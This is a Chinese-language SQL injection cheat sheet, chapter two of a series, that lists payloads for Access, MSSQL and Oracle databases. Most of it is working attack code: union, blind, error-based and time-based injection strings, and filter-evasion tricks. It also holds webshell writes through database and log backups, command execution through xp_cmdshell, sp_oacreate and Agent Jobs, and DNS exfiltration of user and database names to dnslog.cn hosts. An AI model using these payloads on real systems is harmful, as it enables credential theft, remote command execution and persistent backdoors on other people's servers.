SQL注入第二章——access,mssql,oracle
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一、Access注入
Access是轻量级数据库,特点是没有库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。
Access只有联合注入和布尔盲注。
1,联合注入
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=151 order by 1
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=151 order by 22
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin
2,布尔盲注
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from admin)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select password from admin)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(password) from admin)=16
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(password,1,1)) from admin)=97
3,如何查询第二行的值
id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin where id=40
id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin where admin not in ('admin')
id=1513 union select 1,2,(select top 1 password from (select top 2 * from admin order by 1 desc)),4,5,6,7,8,9,10,11,12,13,14, (select top 1 admin from (select top 2 * from admin order by 1 desc)),16,17,18,19,20,21,22 from admin
4,access猜列名的一些特殊解法
利用having爆列
select id,admin,password from admin where id=1 group by 1 having 1=1
select id,admin,password from admin where id=1,id group by 1 having 1=1
select id,admin,password from admin where id=1 group by 1,id having 1=1
select id,admin,password from admin where id=1 group by 1,id,admin having 1=1
select * from admin where id=1 having sum(1)=1
偏移注入,需要猜到一个列名,一般是id
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
移位溢注
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,admin.*,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,19,20,21,22 from admin
联合使用,必须总列数超过admin列数的1/4,上述条件不满足
select 1,2,3,4,5,6,a.*,* from (admin as a inner join admin as b on a.id=b.id)
5,一些tips
access空白符,%20,%09,%0A,%0C,%0D
没有注释,但是有注释符号,%16,%00
select(password)from(admin)
select[password]from[admin]
select`password`from`admin`
IIS特殊之处
允许出现%,比如uni%on select
允许Unicode编码,比如%u0075%u006eion select
这里和和json格式类似,{"id":"\u0031"}
双参数则用逗号拼接,id=1&id=2则为id=1,2,联合注入时可以利用
而mysql可以这样id=1 and/*&id=*/1=1
直连导出,备份getshell
select * into [a] in 'E:\1.asp;.xls' 'excel 4.0;' from admin
如果数据库文件(.mdb)可解析,在任意值插入【┼攠數畣整爠煥敵瑳∨≡┩愾】,可以解析成<%eval request ("a")%>
无select注入
id = 39 and asc(mid(dfirst("password","admin"),1,1))=97
select dfirst(1,"admin")
select dfirst("password","admin")
select dfirst("[password]","[admin]","id=40")
select dlast("[password]","[admin]")
此外还有dlookup,dmin,dmax,dcount可用
其他davg,dsum,DStDev,DStDevP,DVar,DVarP只能数字类型
其他字符串比较
id = 39 and instr(dfirst("[password]","[admin]","id=40"),'a')
id = 39 and instr(dfirst("[password]","[admin]","id=40"),'a48e190fafc')
二、mssql注入
1,联合注入
http://127.0.0.1/1.aspx?id=1 order by 4
http://127.0.0.1/1.aspx?id=-1 union select 1,2,3,4
http://127.0.0.1/1.aspx?id=-1 union all select null,null,null,null
http://127.0.0.1/1.aspx?id=-1 union all select null,db_name(),null,null
查库,前六个都是系统库
(select name from master.dbo.sysdatabases where dbid=7)
指定test库查第一个表
(select top 1 name from test.dbo.sysobjects where xtype='U')
查当前库第一个表
(select top 1 name from sysobjects where xtype='U')
查当前库第二个表
(select top 1 name from sysobjects where xtype='U' and name not in ('admin'))
查当前库所有表
(select name from sysobjects where xtype='U' FOR XML PATH(''))
查列
(select top 1 name from syscolumns where id=object_id('admin'))
用|隔开查所有列
(select '|'%2bname%2b'|' from syscolumns where id=object_id('admin') FOR XML PATH(''))
快速变化0来查列
(select top 1 name from syscolumns where id=object_id('admin') and name not in (select top 0 name from syscolumns where id=object_id('admin')))
查所有值
(select password+username from admin FOR XML PATH(''))
mysql方式查表列
(select top 1 table_name from information_schema.tables)
(select top 1 column_name from information_schema.columns where table_name='admin')
注:子查询如果无法使用,可能需要带入exists()函数
2,报错注入
mssql非常容易报错注入,只需要把字符串和数字比较即可
http://127.0.0.1/1.aspx?id=@@version
http://127.0.0.1/1.aspx?id=1 and @@version=1
http://127.0.0.1/1.aspx?id=1 and 1=convert(int,@@version)
http://127.0.0.1/1.aspx?id=1 and 1=cast(@@version as int)
http://127.0.0.1/1.aspx?id=1%2bUSER_NAME(@@version)
注: USER_NAME()可被SUSER_NAME() PERMISSIONS() DB_NAME()
以及FILE_NAME() TYPE_NAME() COL_NAME()代替
3,盲注
布尔盲注
http://127.0.0.1/1.aspx?id=1 and ascii(substring((select user),1,1))=100
时间盲注
select * from admin where id = 1 if 1=2 WAITFOR DELAY '0:0:5'
http://127.0.0.1/1.aspx?id=1;if(ascii(substring((select user),1,1)))=100 WAITFOR DELAY '0:0:5'
dnslog注入,必须堆叠,必须sa
原理是用xp_subdirs,xp_dirtree, xp_fileexist,读取smb共享域名。也有用OpenRowset()和OpenDatasource()的办法,这两个函数为远程加载其他mssql数据库,默认关闭。
declare @host varchar(1024);
select @host=convert(varchar(1024),db_name())+'.vj0r9q.dnslog.cn';
exec('master..xp_subdirs "\\'+@host+'"');
或者
exec('master..xp_dirtree "\\'+@host+'"');
exec('master..xp_fileexist "\\'+@host+'\test"');
dnslog也有无需堆叠的方法
and exists(select * from fn_xe_file_target_read_file('C:\Windows\win.ini','\\'+(select user)+'.a72ita.dnslog.cn\1.xem',null,null))
and exists(select * from fn_get_audit_file('\\'+(select user)+'.a72ita.dnslog.cn\1.xem',null,null))
and exists(select * from fn_trace_gettable('\\'+(select user)+'.xrjff0.dnslog.cn\1.trc',null))
4,堆叠注入
mssql默认支持堆叠注入,所以一旦有注入相当于直连数据库,直接进行增删改查,如果有sa权限,还可以利用扩展进行进一步利用。
堆叠注入,可以用declare和exec进行无select注入
declare varchar(2000) set =0x73656C6563742031 exec( )
5,堆叠注入下的扩展运用
xp_cmdshell,命令执行,高版本默认关闭,但可以打开
Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'whoami';
无需堆叠
id=1 if 1=1 execute('exec sp_configure ''show advanced options'',1;reconfigure;exec sp_configure ''xp_cmdshell'', 1;reconfigure;exec xp_cmdshell''whoami''');
openrowset 2005以后默认关闭
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
select * from openrowset('sqloledb','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''calc''')
select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)
sp_OACreate和sp_oacreate,命令执行,文件操作,无回显
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >D:\\1.txt'
DECLARE @Result int;DECLARE @FSO_Token int;EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT;EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'D:\1.txt';EXEC @Result = sp_OADestroy @FSO_Token;
declare @aa int;exec sp_oacreate 'scripting.filesystemobject', @aa out;exec sp_oamethod @aa, 'moveFile',null,'D:\1.txt', 'D:\2.txt';
declare @aa int;exec sp_oacreate 'scripting.filesystemobject', @aa out;exec sp_oamethod @aa, 'moveFile',null,'D:\1.txt', 'D:\2.txt';
declare @o int;exec sp_oacreate 'scripting.filesystemobject', @o out;exec sp_oamethod @o, 'copyfile',null,'D:\1.txt' ,'D:\2.txt';
declare @o int;exec sp_oacreate 'Shell.Application', @o out;exec sp_oamethod @o, 'ShellExecute',null,'C:\windows\system32\calc.exe';
Agent Job执行命令
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1';
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt', @retry_attempts = 1, @retry_interval = 5 ;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1';
EXEC dbo.sp_start_job N'test_powershell_job1';
CLR程序集
https://xz.aliyun.com/t/6682
沙盒执行命令(可能仅限低版本)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')
sp_makewebtask(仅限低版本)
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;
exec sp_makewebtask 'D:\1.asp','select''<%execute(request("a"))%>'' ';
xp_dirtree和xp_subdirs,列文件,xp_fileexist确定文件是否存在
execute master..xp_dirtree 'c:',1,1
execute master..xp_subdirs 'c:'
execute master..xp_fileexist 'D:\test.txt'
xp_regenumvalues,xp_regread,xp_regwrite,xp_regdeletevalue,xp_regdeletekey,注册表操作。
exec xp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
EXEC master..xp_regenumvalues 'HKEY_CURRENT_USER','Control Panel\International','sCountry';
sp_helpextendedproc,查看全部扩展
EXEC master..sp_helpextendedproc
xp_availablemedia,查看驱动器
exec master..xp_availablemedia
xp_logininfo,xp_enumgroups,查看计算机用户和组
exec xp_logininfo
sp_who2,查看登录账户
EXEC master..sp_who2
sp_addlinkedserver和sp_addlinkedsrvlogin
可登陆其他mssql和Oracle
6,文件读取和写入
BULK INSERT文件读取
create table #testtable(context ntext);BULK INSERT #testtable FROM 'D:/test.txt' WITH (DATAFILETYPE = 'char',KEEPNULLS);select * from #testtable;drop table #testtable;
数据库备份
create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='E:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];
日志备份
create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute/**/(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];
7,一些tips
mssql自带函数
@@version system_user suser_sname() user db_name() host_name()
mssql空白符
%01-%20都为空白符,--和/**/为注释,%00也可充当注释符
其他方式
id=0xunion select\Nnull,null,null,null from.admin
避免使用引号
(select top 1 name from syscolumns where id=object_id('admin'))
(select top 1 name from syscolumns where id=object_id(char(97)+char(100)+char(109)+char(105)+char(110)))
爆出当前完整语句
id=1 union select null,(select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)),null,null
三、oracle注入
1,联合注入
必须使用null,select必须带一个虚拟表 from dual
http://127.0.0.1:81/oracle.php?id=1 order by 3
http://127.0.0.1:81/oracle.php?id=-1 union select null,(select user from dual),null from dual
当前库名
select name from v$database
select utl_inaddr.get_host_address from dual
用户权限
select privilege from session_privs where rownum=1
查库
select owner from all_tables where rownum=1
查其他库
select owner from all_tables where rownum=1 and owner <>'SYS'
查第一个表
select table_name from user_tables where rownum=1
快速查询第二个表
select table_name from (select rownum r, table_name from user_tables order by table_name) WHERE r=2
查询第一个列
select column_name from user_tab_columns where rownum=1 and table_name='admin'
查询第一个值
select concat(username,password) from admin where rownum=1
select username||password from admin where rownum=1
2,报错注入
oracle报错注入也很简单,和1比较或者is not null即可
and 1=utl_inaddr.get_host_name((select user from dual))
and 1=ctxsys.drithsx.sn(1,(select user from dual))
and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
3,盲注
布尔盲注,decode和if一样
and 6=length(user)
and 83=(select ascii(substr((select user from dual),1,1)) from dual)
and 1=(select decode(substr((select user from dual),1,1),chr(83),1,0) from dual)
时间盲注
and 1=(select decode(substr((select user from dual),1,1),chr(83),DBMS_PIPE.RECEIVE_MESSAGE(CHR(78),2),0) from dual)
and 1=(select decode(substr((select user from dual),1,1),chr(83),(select count(*) from all_objects),0) from dual)
(select count(*) from all_objects)是类似笛卡尔积的高耗时操作,如果时间不明显,可以(select count(*) from all_objects)||(select count(*) from all_objects)加倍时间
dnslog盲注
and utl_http.request('http://'||(select user from dual)||'.0n7kdm.dnslog.cn/')=1
and UTL_INADDR.GET_HOST_ADDRESS((select user from dual)||'.7vkm67.dnslog.cn')=1
4,oracle tips
Oracle空白符%00 %0A %0D %0C %09 %20
注释,同样支持/**/和--
避免使用引号
and user='SYSTEM'
and user=chr(83)||chr(89)||chr(83)||chr(84)||chr(69)||chr(77)
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